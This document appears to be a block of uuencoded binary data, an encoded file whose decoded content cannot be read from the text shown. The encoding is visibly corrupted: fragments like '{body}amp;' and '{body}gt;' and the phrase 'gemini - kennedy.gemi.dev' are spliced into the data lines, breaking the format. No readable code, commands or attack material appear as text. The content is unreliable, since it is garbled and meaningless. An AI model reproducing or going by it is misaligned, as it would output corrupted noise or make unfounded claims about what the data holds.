MAQIJ^LO*9)O+:=!83INP&&,E+01,RU)'<@`5I"S,0?-.^0L+8-XFF6$!N+DS M&Q;#FC/-82ZPXA]O!K[JL&Z1`+&@U_-G0RPBX3VE1BQHXHYY$G^?(3-A%6=0 MO`LC%*93O"VZI;D5"T;K/O(L%H#_$DD7"YJ[4P;&>J&,GT<RWTMNQESH]Y2H M\;;<5IJU\;:`2U,XWA:P)Y_C;4&5)7?,A3MOIL?W55(]YK3FY'W,Q6K.))"Y M<.;("%GGRIX,TB?UO=?>)NMU997A>C?7R>;2WJA-'HZAE]NVT`Q3B<45"S,2 M9AF&><$+WO:^0%/V*NF(%31$0C:]3*YZ3)CW2(H+=)TND^S'C84F_JE&T#CZ MZ8>#$5!]G]GWUC0.DT$IFG6?YRGJW*Y#O(X/.SK7*W!'"3PN@J>F?CXHOKIG M+:P[LGS9>3;ZS(POF+5R`L,2T2T0%8RF9C7XU&AP;F@X$N1/`3*U(=:Q%GN5 M)3V^1K%M4<YMRA>W7.LH;"`M>)XYH)O2XG,'G[)0=5B>SI:'PSQDZKYH:W/! MH3"3?"8*TC7-RY8B%!P[2%&E*CF5</C0./J5W/#3&+LY]^I=@0L4FC_2;,"8 MGX+OJ3&O7]5O$7&$H-#DY-B2060:8S;.(E3IP0Z\)XTRWB!2FG1@=0QQ79>5 MA?+!K8!5W<P8''KK036W%>VV\IPV7[TKRNZ9<U/3:M_JJ6V_-H(2V>/&2Z<Y MYF[3I>@.AFE__W2[;G..\H[;B--Y[0*@COW':M@+R[CPCO<<Z)=W2%Y6_&CC M6SA^J&[I8Y@[=%I!-GQS#!86;Y9(GA-U+10>:.>VW-D9G-;SW19UUTX@@GD5 M7;Y%1WPY=4!+C&!])CDD)+P0$Y1`0#-F&1(+'S"W`3[V>MKJQ4_Y\M>GPM.B MDO4G1TK-+5.TQ98=7I:C:Q]$%00@<+%TQ:7"@,X_&>E4N`=IB6"I+7IL"T0) M+N9`E0ZF\@^7BT@J5GH3)WNQQVAU&GHY&I=B:G38P!4J[_S$?X9?#<JY?M*U M/&`QDR5RS6:1?T7AXE"V0#AB[I9"N@I!;RO0BXTC3JL5!"LYT^7;6JH@Z'>" MN!5#D3`1#GF.$+\5=^6#8XG@36;SB^1<%N37O]A$MU>&W#7GA*JY^"RS9:&A MH!I7CV?C7A]V&;#E<!V0S7F@`7"<'4KYTAAR6FYL%<K/@7G<QT&4\UMYPWY2 MZ$_R1LMMN'"N<:G.B7E@'?;;92U5X,&6WNFFO@SAS)QG&:3C_]NM+?>DG']Y MQ=A8IIDZ:="R>!->U<`QER91*]L;:ZV5K(>,=+.Q94O^LNZR.1%92U<:G(4* M>U<.B(Y(H_%=5TNO@XL*"LQN%*0?B<XX)581NP&;H#$Z[210Y(+"-+*S<M_E M)D?GE_?!E],<3?^!I>WG4HX!\CE:W.]6[+;;,=QIL$%S@EZY>RTM\!Q6\2S` MSE*K*]B-@A!D+[@I0\U-NI*!^24S&<MF?G6_?(7WS+WB`U<K4)!^>_V!;I<S M>Q*//2L(7E6OS:$#J)DJ5F4>.NUIX%X`-.9BK7REKJY`FRI!^<F`5=X]NSB; M1N%'EQ_-78Y^EE=,:.?DX.O=/2B3I07C53QF<VGS?SPQ<Z?1MN>CFH':V;T^ M%]6Y`K/`51$\E0S?^L%(2,H8"(Z8AT8U&]*/&ZBH$9119!8K<%<C!RC.R895 M-`W^^^@MJ([Q*-+-QY9LU*YN:&_U1&=<;O([E>[E"5&6S#[N_<KR4#F>JY7V M9-&"!$U9EWKU)AYYK7K\946<2*W2+C"")T]&.CO3':$;(OS<.CHP.SMRFG*\ M"H<;>(#JM&M_2`6^KO\L!W6R"Y!/J\3^=(DQ2=(8_?Z^/C6,7HZCZZQ'P>IR M>WF[_B'T(T3C=^X@E?P2G=L'H?#[=DV+)#U_QWRW+\P['EP)IXN2HPDS-X/F M?1.I6W1T:3$_)--<$,Q18U=%_=U=S1MA;5TH%+\O/#X[=Q#$KL@UEP!]H=#+ MBO7B:DQA(_C2@A?]N$_(4^85DK.NO5)N)E0?L&UHW@#-`/,Y`Z16T`\G83_. M;DC;YK!!8BNO:-L68-\*K!`<QN_T4D\)BQA@LG;U=)+2#Z$.3+%\#?_)-1[X MOW.]J1.C:9B1<EL379VGG4>W:&?^WO3S6C'69P%C0#"&WSW2U!YCA<XSETH= M2G<,"3-4IZYWG?U,A?@(7/+95JJ\9KEW`(D@[=S^#R5NF.>05ZE3LRQO&TIQ M([EFJ*Y>\'M4^)[/=UE.A.YB$NJV.UF^*QHFR<=[VVHRYGSVU+OG;)*T8$6> M.$5`&!==4E.=GX1&T'8=2.X6D6+]^#=Z_)*7"]N^CWT+X]/=;4HV00NVB(R\ M^9D*;,+[0;G#4'AIK'A8O$V4P#$N?CEP9*SW?`":X;.'\2`*+VD9/((S&(D> M9\%9-$S&%^P*'S]**N26;ZIQBZ]NWMY9'_VB>H(L1>//QSYH5`&4>\>SH#(+ M$V@?$_LKB8B%);@4G@+PP=*BN>AC5GZ"PYP,FL72BT<E**&OI*VWEDISIN+K M.732F)==YC2XWP18\P4?<:>.U]!7/,NT=N377(DJ,CT(B)JFS/R<Z5"W%5R& M:8_Y?"O'"/3:[HV2?WQ(I5<DO;J>#:U"@V0DWOB5;9[P#'5NQPE?^%M[U%$W MV3?K%;2'<2'/XVN\?`THQL-AN+L+KW=W&90/J5;@0XJOZ;T&40L*,5$9>MTF M]42]9G4C6Z_,TZMGZ!4G81HE/2X>.O']F6\+CZU]WNO2/*4=W<]E&RUHPKPN MH!HR;@Z49!!2*!FBF%^(`&F@4=J1MZCHL6]M]*-BZVJ*K3?DN#=WJV_PI?V+ MP?0;PIUQ,H?1!LE`?8S9"6B=62))-/%/58$5Z-H,4G,>3Y0R2`;'TD1GN-&- M'3G5;\/#`J@70#4NU&Y]E/!W/A&*6\B[##+W=+JGWE:;:E^P_W>=ZW>:Y_]1 M<[P2QU0CD%H>F\4@;B-;J@<MN#^I-1=M[H$NMZ%),3U*Y2[=$Z*YV&"_>C!/ M6H&9TPF48_[1[\JJYB%=>NUQ4ZK\[CU./%*W>:7S4<ZU7HJ/,K^I?AJELZ$1 MA2L^]W?$L[!8/BJ=JFJ+X2$DO+H$V26%;ZD3.<!M;R#96J[/F-8O.:H*H=_Q M.",WN$SI8)CW<VC,V]%U)@*@<?8N/R(I2S]9%D,/3T<\-)UOQL[I.U7):??? M@#!%07^,$(>.7_&=)BH+?Y$W11WV+KN,4,K+^:.@(IR64=N(A>J<'MP7G6\C MFIQ#XCG$4Z%H<@8BGN<*SE>4+L:)]AS31COFOD<)XO&TOE^9,7=W;]7E2CPK MHHGRTQ^.NDH71Q$EZ5V^/R+I&7C#TG0"\B*GNQ,A1S:N,$-N*U#6X2;+GF6U M6::"F"=_W.ZCDM1I8$Q=R[OYS?4JTNSWA'?3C3S+?(S$T;6PSN2<;'L_LY/< M;TP+5Y$T89Y;>!\WPW\;RBVK928!DH_\_MSFH%FV&]246SY2=E\$%WLZ44DN M&P3//0.O>3;+=R!,,__>()T^>_JM<:B&C2M3%IRXX,12PNCI%^[,BP^"_=?? MU_ZT^/G=?_K)(%IC8[[V\N#Y_N'1_KVW@:E:M[<W\7=W9ZNC_\:?]9V=[I^Z MZ]O=SGIWJ[.U\:=.=WUG8_U/0>=K{body}amp;"&G!D$?PJG%Y.B<F7?_TU_`A{body}amp;9S4W M^"'*BN?)Y&9*`38;_6:PWNEN!6_";)I\'"9IL#>]N)DF,]#(@B=()A09@V04 MHIM%-$YGZ>HP/$O;_63T#$#MX1TG!)72Y?7IIVC0QB;>1@`@F\9G,[+DH7"? MI>0[E":S:3\2P1C"Z0WJ8:.TQ<Z(*6AX=LGNOY-;%>:]H&@Y&(YG$DU'<8;N M.C(29'89LB"1Y\EPF%S1361,U)3QF`=8;11E)"2[;0LQMM=A&.'D"4;`0:@D MACRX:7B6?(HHQC[UDDE)T#/C/HA!BG&$%U0I58)L5.8>41A!F["9BD?1M`T@ MUETT*"F*I(9``SHYF/6C+X,)C]_*``V2_@P=H4(Q7&L8P00^8]H6Y"+0#13- M::@HEKO6">S91CLXAM=XE"IOV(6S#$.V$BX2?0JJC.&41^$-Z>UG&/6<XBS5 MA#,VQGE%AH!F1TD6!8P:&0;DF\:?,,0\RV2".5^2\^P*1UHQ#_K,"J,Q+(<\ M^`KLB!@3I2FA#`6/?SPX"HY>?W_\\][;_0#^?O/V]4\'+_9?!'__^]X1O*C7 M@[W#%_#_7X/]7]Z\W3\Z"EZ_#0Y>O7EY`(6@UMN]P^.#_2.,A7]P^/SENQ<' MAS^T@K^\.PX.7Q\'+P]>'1Q#P>/7+6AKWU,Q>/U]\&K_[?,?X7'O+P<O#XY_ MQ:D%;7Y_<'R([7T/#>X%;_;>'A\\?_=R[VWPYMW;-Z^/]@-$^<7!T?.7>P>O M]E^TH7UH,]C_:?_P.#CZ<>_E2^H@E'MW_"/`^,L^H+/WEY?[#"+TZ,7!V_WG MQRVHJ/YZ#KT'3%ZV@J,W^\\/X`^`LO_+/B"^]_;7%O;^^6M86_[W'12#S\&+ MO5=[/T`_&L7=!RA`V^?OWNZ_0OR@UT?O_G)T?'#\[G@_^.'UZQ=$V*/]MS_! MVG7T.'CY^HAH\^YHOP5M'.]1TP`"R'+T&*!AC]X='1")#@Z/]]^^???F&.-^ M!3^^_AF(`'CN0>471,O7A]1AH,;KM[\B6*0$1L1^_G'??CR%@D(?3M^NX>D M.#I^>_#\6"N(+1Z_?GNL]30XW/_AY<$/^X?/]^$K(H5P?CXXVF_"Z!P<89$# MUO3/>]#N.^HXC@E@QO[4^*]%8Q<<?(\,\.*G`T2>%X?Q/CI@>##2/?^1$[Y= M\ZS_%X,S[D79GMQ\O?5_N^NL_YL;6]N+]?]K_#RHLO['HTDR19>(5/P)*S<M M@;4:&>^?!L?H6D?;07CXGBY$XA8,'@YI(XGA9BA\%X_>7<<(UC5Y6,?!`@?6 MV"%0<$!O]BE\E_<JE^)6O*Y+H19G*9E"2<BC6(?E"EV!V5F.GJ[$R4Z`7CSH MPO,`*U!4_8C$/3LR%M&X>7PJ+<8^5.,'X7B!GW^!S1?MO#Q%V&$Y_B$*:94Z M/%%:63U13E2%;^1[E=.P_.YM5U8>TY7C@II4P&US-BYODY>1?9V-^[-I<3>I MB-X:N9B)*G_VU"D?OOS\NU8R1<P#LK8\6$ZO@T9#3[R:!0^;RP^NFZO/H&QI M@X:3L<KZKC=QE@7YW5>WP.M:=8,0UVL*122S0C"_KDHMI)"`.N7=84'@O/F5 M$)3VH8T?ZK6<)$IV8?;)+&YG0;*J:`EG:.B=="O:$%+?G/084"!O;.EMG=G, M^9'5IW#(C0TI_$EI<:;TLJ9?RL)O_%(67<F2MFCZ;MWHXI<'597=NAGQ,&)^ M'_8M,*>>&;BLN++FLTEWN@#*"6&W>^IF3?&;'_S5\<*B"<&M75937>B@WFF> M%7680?'%F%)(9'H6&QLD6HCLPJ>^\)161>XA<38[Q]B8PZ@!?_%F>'[J<YB2 MM-6)>;SA-`K'EYCM,.LSKX;>!;\SDE&&GDY1.`X$KV>-AQJ?GP:-9#K`3WBK M'M,J80+$1V:6<2C)4+62(N[JA<3RC+%B*0<M3Q8IZFDQ9:V:T(4V3^TP'O3P M5F^C?G&<),./<?83JU'7`+$XM+LJ_Y<.BW(IL;(R1S:+I]UC83)'{body}lt;;M[6EA M/.7,I"4E:_ZYT6@LIS`Q.S`MEU-,E2P^R0_F861N"ZU`^V)=<Q*T97/=0P.1 M^HV\:*!]Z$EV,XETU$MAU'E%$=A7`6AJ%"73E/#;*1L:7HS5MO+NE-7E2:.H MIIY'RJFG?\4K/SW<P(_%?0H.`L.J]MB]/W[IB5EWR4G'`*FF&'YK^RO:'DOR M]+@5B-N:/(FSD,KLR%GP#]T*P)MI+?5O6L]W%B)0AL!!^;UK9@/&JW3XFPD9 M*L`A\-:!,"B9-530#%"`>TU$0V8U=6HKD#Z:LT5GVE.=X5#<R_;D#BF+TGF: MJFB:*^7[`DKHYF*1B4=5]!F=E$QBAMK%X?\?]/Q?7CJ\U]U_V?Z_N]'9W+;W M_YWMQ?G_'WG_?Q5.,5*U?)X,PPR/H?,W^I5."0X.CWDRSV`3]`D>9#:+4CJ_ MYVVD:K$D*6HH0`^"V<7P!A89P`D0P_.`&KN=!=*TA2L=YK04H-KDU)1%E.%# MNT^#KPT9N+WI43H?Y:N5F[4:<X42<XI;7!'Q7@]OKO=Z(.*'YRWAFH;+$7_0 MO'&57L.3+;%B8_G4:07<19?>4P8@J^8HO)B&?1TJO`G_(2Y%.JZ]T._Q(!S" M@!A%=&LZ8MZ6B&O!P<V/HDGU8!:2O=`"?\N/JH]C[V?>U;$1GYM]R@09K/=I MSOO?_.\MPNF/9D$]"ZW#EV91/EAT(F!^>;7WP]Y?\6":-<4'R"QS=+QW^&+O MY>O#?9:851\GG<%P06;\I8\:>229+7E=.(3ZKL+:"2Z&/_FH+'?6!_!$A*._ M<YPAZA0'6Y8AMP@UN"UM+-F^2!*I66$C.1^&01Z*&H;!"9{body}gt;#Q5QK->R/N;R M4#X?1=&[JW:LY7)74X@+[3PB7V*(;)@M*SNF,T/U^`#NQ!/U[%N>55A(`^"F MZ7!'1W<>$2,D'LLHRC<%9JOS,8?5?#*=7(9CC1L91&,(8*3R!T`<]W1:_#"F MTPJ4=!6'E;8<=JY::{body}gt;Y[`4/I\`C)5K5*9:2\4T]G)QJJY,YU/)HRLA23Y\8 M[O"O58,AZ(HYK6/B3TNX&3W4GIQB6K^U)[.830WCV2QJT49_]&&82NS<SSQ\ MI\JY7#0=7%;S!?W?YG)(?;!=R;RRJ<[#!PN<6<$3[)SYSC^#&FKX6VI@6^90 M>AW,[+%L><:CY1+>FD'01!41!AOUZ%HJ,OW9-'"=]XJ%F8!`OYW5EBVV`/<V MHXF#ANM"T.".;V)0N9\[&Q&.=ZX\:R@T6X$MTRQO/>TMB^8AB,K*Y%-4HZ-& MW)1"L&&6=H>>!63+)[6$Q_^RE+YDG* XF0:?8JCJXJ3B)U]F$%T<78L=S9T ME8'P;+I+D<3IJ9TH&P&O/$45!`N<ULT$\7;E3EYE=#(YK;L-V[WUQ#%20.34 MYW&!G;7-@E:TP#E0G97,XFBH8,S-.><EUXX+%IG;S$T.E=3W/!YQ6G.G*-,E M[$FJZZ55IZ/4TMC%-4DQ+0+3_#I9*S`"XJ!DLV6N)U"-N$YI14IAM8W8(/>@ M]!F%#&S5@S7/78SM5WZHHB/&LV_CR+%4#Y7%2+UF1\2U$L)+%=:OO(K)I?*^ ML?'GXIVG;?9-MDJZL0.>D2+056*C#8_*FQ_N5XHF1<3J*.A:LHZ"`C8/"HIW MJK6N%">];=M5?BXB.%SJN]GMX*.%",8P\%H$1_R2G`=*DT-,\W,V^/!OV<21 MFIAS]ZT*<;E.,`?_ZA&MC/L-93W1EBKWGH*%O%R@&I:RU,P96_VZ@A?2<II3 M4TB#IK>>!UU9H8#>SK)3$.K>I\%8))>7S+C_K$KA/@K'X06FX(S"2:5%_$P M@U6'3D3C\44M1G&()L1>CR)$]'KH==WKU?TN4WI=7S1#CZ?4PECSGV/_.7[] MXO67:*/$_[.SO:[[?V[A_8_-SL["_O,U?AX&1[,)F7`H6BOTDEVTN)SA'RR# M%IV3U!X&[])HN@HJ6(RN-3S:;R)L],'9389IA#]$_)FGE&YB38RFVOOG`'WP MIRWFM/FO]H1N+@2OCX)?6/Q@#+D*A8]!0+%;YK"I$EXWX1###"?DD;#V,A[/ MKH/K1]M4#WZO;F]BS<)((]*U7Z8[EZG=UQ**9DN=U,GQ,VP2DJN4MR`KCM%; MC8Q,\7#@5,+682<'<`<8VIG%+GD8O`BS,$"7#[I/D7S"I.]`/.;Y$/#='P#[ M'><_AE[NL4&Z5Q-PB?UW<[.S:<W_S>WN8O[_X>R_2>JQ!%]$63+)'+MPCAU8 MU*<VI?$8^8Z[<H<I!G.N;#`N48!@T/H\YC'B`X^?=",O?C1.C1A>;4Q"KQON M-'U(!H!BT$ZZI]0NUJCGP='<&JUJ'R)RRG)KTNO"JMQ]SZTJ_?KL#TY*^T+$ M,(2G!AP^:L=YWD`;K(B$M&XF&9#IS]EVO"CD@Y$IO69WPTFQ3J<9%YY$Z^R/ MXF[RM+6[WE9X*MQB"#R=K!\"STY;#($R7*KZOM!;"CBW'KE[%#D>YJ#@%3\\ ME+I(F6T:)FN;_6JHH4+GWWH_W:U[(K``G:/AH(4Q,RC0!4'T7""GQ,-0$LO4 M5_OUG#`>9N?\$9E-4&D.*$X*X9U=*^2IPN`VLQ1V8;L!&XG@9+6?GM:;A36` M?*@5[984@Y_5OO9=!"TI2I^;!R<-GF"/G]&6<):?CK`*/!S7Z#K$W9_L-C2P MOK5M9Z^Q99_-X+G)C_5'*P<RMW@7S`C*3>F?493FLJBVR*7AKZY29Q3.2)XT M;M>8=RJ)<X$4-`J2=[D2B,U"%LWG2F[L>Z(&^=F<`\PA@(JU.>\`.VDS[>0+ M-ODFH;YN\&-J^8*GJA`I2`HHJ8->/RUQ2=7:TE/6^&CO8N*KL5$I]:W;9)T\ MC5GL1=7X75KW\0J/]^TYW=65"#W_BR<_D!KY^<.Z<N:<A,$3?MKU+#AY@CLV MMC%\=NK)2%3(I1,\_NYNG'?/^YT._@E[@WHAUK6B_EKY;OA#\;1'$X^/=W\? M'KTOCIM+UE``'CFD\TD9JMNY[NQ\&VW!IFY.0:.G3"G5E_[#1PDM$7<<I{body}lt;[ MD6>&55CN2P>(74JQUDYC#3`3`2A'59X*P'RK90-0US%4/@!KV&^K_'[Z,+B^ M/^WW4X[**CM>1>_]D`-$SYA0!F.0`X,1L`J$ZQP(;%A<")I6CG0_Z9RZ=Q-E MI@(>;YG'@<^))C8-8]C^[]/\T/:M^J2I,FMX2/"351SJ4ZY,WY^:_RE@=]#- M@.9Z%/-R&!\X#%&;KAD:>>/*80PX#"V6?85:U[Q67GSZ.<5$?NH/]H>5^X-^ M^US1M'0@\*^1#`3^+5XEV#&T+H9D5#+33Z!POTT1[[R[<&TW(-&-A\-HT+M, MAE%ZS_()-N>_G<\AH&Q*_C&VZ\;&2-Z>GA/7WW(:$-5!<GS'!C6"'J3T6O, MGEXF5SV]3J-9EE[*P$=O+"_LO&^N.>S,16V)9+QSF[D*";?YG*SVSW]+0;AB M,'>Z!/'LRQRD"!O3+<Y1?G-8ADN*.8]@^);:/86IB,>YVQT<2S9`PC>#QFD^ M!8_#`G+Q$YW.]69W<WUS8W.S'"OVDTQU0.<5A+^'LWQ^$GS6E*4A4*+"MRCX M,Q28YTU6>@)ZY.@NO!OR['_A['KM2]G_=W:V<NW_\*/L?]OK:/_?ZF[\*=A: MV/^^^OBGDVEXLSH%G2H\B]'F?@^6X++XGYV-+>O^[_;6(O[G'\C^^R`XQ@@H M,49.$DL-+GPS"@OTF4'XC+;;,!C&9]-P>M.^+ZOQ%S$;HQ\Q&HK%K6'=ZFIE MUWX@E\F'IR(A=Q!FN])M$D]T6/6<Y.'\D{body}gt;E`*P[DVR55VUGUUD=M/VP+NJT M,01E1*='FFMLM?;,-('>;-#HH]@)AM]UKL_Y3X"'K^*_;E3Z-\=40*??GB`4 M!9W7.DW:OXQ:D9,[FEU;PY<\_E%0+6Z2I83S(SJ{body}lt;T(QB(PO/(*Y-)W[`YFK M0SU&^*;7=53`*W+;E6RFL96LIXVJW*CX.<.NXG!"B<,$FQ0+Q>@_5O\;I8,X MO&<ML*K^U]U9!VT`](3N!B@#"_WO]QO_M_M[+U[MW^?X%_G_=C>WK/'?W-SI M+/2_K_'S?0RJ'`WZMYWV``-D1J/D$T75AC]5*'&,D_(I`GT!]^;MX(<HPU3; M>!Z[6[O,LDFZN[9V$6>7LS.,\[Z&B03>'7'&6JPC_S[S_PHTG;.+5;S;V.Z/ M!E_'_[^[;NW_MC:[B_W?5_GY!C-JTE8*-OJ#6JT=IJ-@G/20+WK,I1]>IC<C MW)4%2T=O?WK8WWW/K4+O'^+4AYD/`F38'L7]:8)A]4D"`$.-$?8:+_LXIRI_ M;O,DZ^UD>K'&/567:FW8)@",6NUL@@:@;S#1^@@0Z86P\ZR=S:R763A>#Y:^ MF=P$T-#[;#1Y_U[S:0^XM^WCH*"$Y@KW>,EMH9^D]]I`[6R(EP-^/V7;.?^Y M&5U&UU\U_OOF^J8]_^E*P&+^?X6?HD.:_INX_W%(ARL3^DM^2$9XDR6UGV&; M&<,&-^\81[:`,[YFG<_H)S?&60TI)WC`;S;2!A7D53*8#6$+3$7>O]?4&&B- MC.>RTD4T;K^(P_67\9D(-O\0M[F^`NVCF]%Q>/'NQ3%T9-3+PHO>;("A:M3[ MXIIO9F?#N'_$^BE`3.@E-XU+8$;1&C3#0X$VZNQZ$AZ,L+S?\,=LS,/O/B"E M3&1OX2#%)2;VV*.O+,@I'G=1M`*BD#CTXNF5Z1T[*#`<I^!M#T!Z*/]\&H59 M])J::U!U[/\111SFH98M9Z8DA24DS:)1HXXA=CY--]:#M33PCMM=V]=CCG(8 M]W!/Y$FP[J:3?"@MH,MI\&0R.$,C6/3,]/+JZ%Y>MNT,ZJ#].-(O3G2Y&9>Q MO3YN_E%JXQ*)U\N^!XY_,SAK"*#^L1#(?W,:V!6;083Y%NJ%^.(1(C2*AWE' M+$I\0X\T"\R'9W90L,T8[*@/1>D$[?EE/!Q,B<9R5K5X4(N.YH7'&7B`-^:> MTE/[?V?1].9@G$73\[`?-0YPO$7L8ZL:XQF>H9T[HO!Y=:)!;L.[_XDI]+C^ MED6*]A@=M3+,J;3%PR)ZC_PT7.B>]3C09J5E%%4?A+A4M6]+64/8W".-SV?# M88]?NC&(.1Y$_60*TW)P"%^5I]]YUHL'&`%&UF2'MDN[NW^'C^08M>2GH:SK M'N6:R6"U_G#49&,GV[L<C.8;06XS<0L%)KG,1./9*$+<&]I8-!T74BC>9O"? MZLWMYO$*0CF)3QUF1#@?8TR&*R"ROYBW%(^I39.-%ETA'^KMM65853\.2;R8 M<WRBSM>U2K!B7(GL)^PU>6?IO6QA50G#-!CD`IW*E"IBD>'049XT\@%R+J;9 M8$T$+I2DA^QHD27RZ^O_+./7T1>Q_Q?M_]>WUIW\C]M;"_W_:_SD9W'\+T_N M1IDMDF7H8TD:QY191EZX[R>K["N[)O3\,IS&63(._B><AJ,X@\W$D\O9QYD? M?#ZPA1SXXO-?&*'O.?Q[V?SO;F]TK/F_L;.SN/__57[N&O_];O'>F3LPY[O\ MX'H?TND,%#[8O:FP>LK?00;B]4;=97?MKC.*\Y@?-<]IPGI!)GKQQA-A5U33 M'@SK/OIH'-$W)P:OJ"K_M'Y8Y7WXZHW3*ZNMNHVKJO`U#P6'.M8+YIV0I)0@ MMG>;,*K";8;'PVIP.@964%49S=+=?M4!"&!%D7VM\%I:]$L]U8K/;]099S<P MKMGWYO_YB%M._)<OD`"T1/[O=#O;=OR7K9V%_></*?_O-]\G<ESEA)^ZOU]! MQD]FP21FKIKY$^0+SCM6<[[LGZ/D'Q?#6?1-A2R@;M'59W.E`RT#8.<%M=)L M%E<OR;=95+D2\>;)O=EH&,UI^1DQF9=(OJGJT9TS47DP"9:O@Y?+@RIHE63H M'-R<!6O];E"!=%KL>&H[)U^GW361LY-WK&+23H$7UJK<U9+LG0(OK0#@4Y;& MTUNK8CY/;]TJB3VU(?:G]2QA'Y'?LY1F0G'!,\Z:<+>5Z45GPV_&Z2]OGB?C M<=3/=G<OCD"#`.9\RS0,^.N_C^3?%WWAKTL-\VL^[+:,:AX4&1&F+DN"HY]^ M.!B%%]$^4QG6]C"Z`;-[!!CI8'Q![]-F3;]\(Q'T.?=N!YTN.>[*/W+^B[;P MOWF=@;%KO_SRRZZ;,O,BRD@)@JW^9!CW\:3X,6B:T8!"T9YA2H-5]&C-HC%) M<@#$3@91CJ<4.6\@HN6%_3[J?^=12.'[[IZG51X]5\[52J[-OE/K'.?CG)RK M(#4F0SQMK_\=#7SUYNU3J!:`ND5>U;*R9D*L2IE8J<KI/)TK2.9:GM'5H<<? M),4K2^]ZE^RNS%L'/AZ5IW7ECWA&C[7PA/[Y$4P)>AIQ^SG4JS?;3'GPI'MM MZHUS@/X4L,`U!#A.MS=!A!\QFZ^;.:W.(FK6:W=,%ZL3!"7$P?@\T>LTVW3G M]S7KF5Z_2BI7$ZPJU+;3Z7IRMO(52-!=4)J_EHHI&6+XMIM_$^,@<KLZ`Y]- M7_R,>8*UVD498+D<I+JPUCUG85D;]>^^"[BYA2>WU6--0YW<U+`Y`%D^62^0 MHN2P*MV+/T>LX-J_H"_:/6:(38/5D^[I`!4)_"\W.>P]I7:UJ:7`+I*Y+GY^ M[_/_3Q>KPRC\V+[,1L/[;Z,L_J_P_^ONP/^Z>/ZST=E<G/]\E9\G..3/:D\N M043#K[0_C2?9LUIM;2UX_;;^\M?]'[\+CB^CX(B=$F'<:GDN!&7(4'@QO0S[ M']OC**O5I`HU3"Y@P4W1/:I9^R?)#B@_C7Z;0>UT-SB;)E>P&VH/DE'[BN)L MDW-"&W9F9[@S6GVFHF]P.)C18>G]>.DQO=0JR88>U_ZEH9!-XXL+6/`O^@V! MPB<8ZXM^R`+"!;2?:D`M^8T)ZR7>!+Z9],8P12C@3'^&NZUVG]S/^)ZLL319 M:CY6*JDL=98,;KA,)>^<!@,D&@-!WD#P,6J1C^'7DV`=)@/\M;+"5H1_6IEM MEO9\/QQ3+>?%*SQU.Q\FT`#]"3HIT+C1!&5S>WN[J<HSA-HQ[%ZG/QZ_>HFK M%'N51=?9<Q:1/%A!N*H2$(_[M(BW_S(6!OAN#L)E=(U+.;F2-RXQ@Y<:">9? MCFMM/E70&YDY7.$S]&_=)@]!:4]FZ66#W*\/8%2P5CH[P\U?W((JM!=J^A"F MVH0RL"<I_=PQ_>KJJAU.P\OP)B2']GXX_A2F;()LK*D.$@#LXB"9G>&N`I^- M7L:4Q;;;6=]0;(4:.4.<=TZQH/ARTCD-_@Q;^{body}lt;=]1&UX,?Z=K4QQMWFIDT3 M9-A&PP"S<][$34>W"4/*OW1/@V?/@AV-)T:R\:ZH)8@F-ER56]IT6MHL:JES M;@R/S@KKC!7&WMF!@$;`W!0Q$EID0.-3`QH0BORV:"P>!NM0KFL#@C(CM3O] MIV]GV@G6@H[JP[]R$Y0UTN"[8+4;[`8K0'!9Z5]*TG`-[BFC*Y1NC*`<S=A) M<M58;P5;ZTU",WA(9?1/4;!*76E"`[YJYAO@O'5=1@G]'%'D:.QR?.XR$1C_ MJ\D^%I,`"!NGA^$AO+%ISE$YP2.J5E#UWU.=)]5{body}gt;/8T.)SA%J_]YO71P?'! M3_N]@\/O#PX/CG_-;W>'P>S@OYV2?W/:?2+;/=S_8:]BN^=W;_<I9BW,;Z%3 M";:G!=F*$?016#][T@6`:MH\@@/TXC5<+EG3#^&$C#0R/3M[6\WNIL[W4>= MK:UOO]W<TN3?)#!6JJQIRSC1S0FTO4H<[!$\'5.>V-/@(6#^,&\J%$JT"<X\ M*;#SX3?T5QG,RDD3_NDVG0'3ISP,3BOP_'>JS5%=_.V@^'N&"^+J:FR3`0M= MF\1$B4#24!.WK&VV=(\`Q6LA,<T>7GOY@%?>.0U0V*NG%1CBK6;P68P#_P(" M'=9I$+A,K+/%P"C189`BMBB@CO'8;E';9IH*A5QO88UOG.D++:H:HW#"9:HB M46<W6.HLM>1S%YZ[VO,Z/*]KSQOPO*$];\+SIO:\!<];VO,V/&]KSSOPO*,] M/X+G1]KSM_#\K7KN(GZA]HSXG6G/B%]?>T;\!MHSXA=ISXC?^1(;2%VW[5JJ M;;K.7^3I7HTSKIT`0\&T\>JF71QK3OF3,V0P'-/3QT4EED$;.\U=[9U6`9,S MI0-Z<%@OQ6&]`@Y"<J8PE=/NJ<EUL$7N31*UD8`ULKN]L[.SWMU&-+>V4;O8 MWMK:V%;DQ4`G(J39]G9'S#59`+W8PQBT;^]VQ-Q)*"T=-T%X\X3.9N+QQ9.S MZ3,^J"B$C6]T38CPP'M"NOF(7Q9:*MB/*/R]5)?8,Z'B=D`'^X&!_0!@-^@W M*?)(Q8T.GH(C]=8W.SG:E][4R0<6J`[CQV]N;6[#_[8>%Y1&07[*2N]L/H+_ M[=CZ&Q]^23S:WR'QF'$N&;L)I2392%6*HB!B^9R@X%3+FH66+;9;9+`J4=J[ MQQE$PRB+&GK7-.%N#\5L.,S]B#<U*(.7=XFZZ/>FE)5=WSL_5OHG7;%ML%)\ M2@I22/H)5S'!?Y85,_@T&P(VY+=A<R&04]2FJF[1VY,08-N88gemini - kennedy.gemi.dev KM@JN8LT! M;R2'=%KT:=])P.%18TG3F*\VZ"HS;NKQ?&VI%2S%V/:2/CT`)TYHZBZ>KL`2 M?A6<S8#[HFGgemini - kennedy.gemi.dev KH.C41L/I;%\FD\F@T9VXWPQ"(9+QDCUT]2Q3_6V`{body}gt;&(6Q M'!>514VA!-N1]D5[5P!21.MN;V^?MM-D%/740/9&47:9#!H.VWC[<'Z^I!_/ M3*Z`<7LR-;5'=G6KL@.HEOKPBB7G6;#5Z>3M`CD*_#R&9$4RG<XFZ,Q'F0=X MFL\P8PFO81T&\1.;X@D[S(`TS0\<,LIW3:8[3.<N!ZSBXX)\-P;9+'PH+%:. M3$2^F&6KR?GJ&78L)4N._(2!F<_"-`J&,K`64@B-4!C_E4T80UVSMXAJ!#04 M3T\V\,ZDM5A^'"=78[)P"A_>Z^YZ=Q"=A2`!`)G-;KO3[DK^E/40-X"L592' M1!Q1T%?I>$@I1F$ZG')?*KH5:D)8M7!1]?`-{body}gt;0ISU^!/\`!&KS')IV(E>@- ML1-K"N%0+!:"Q3W6,.`<<I-HHYTE1S!?QQ<-B;J<3QQR_KFDP3X"CQ7)=VKL 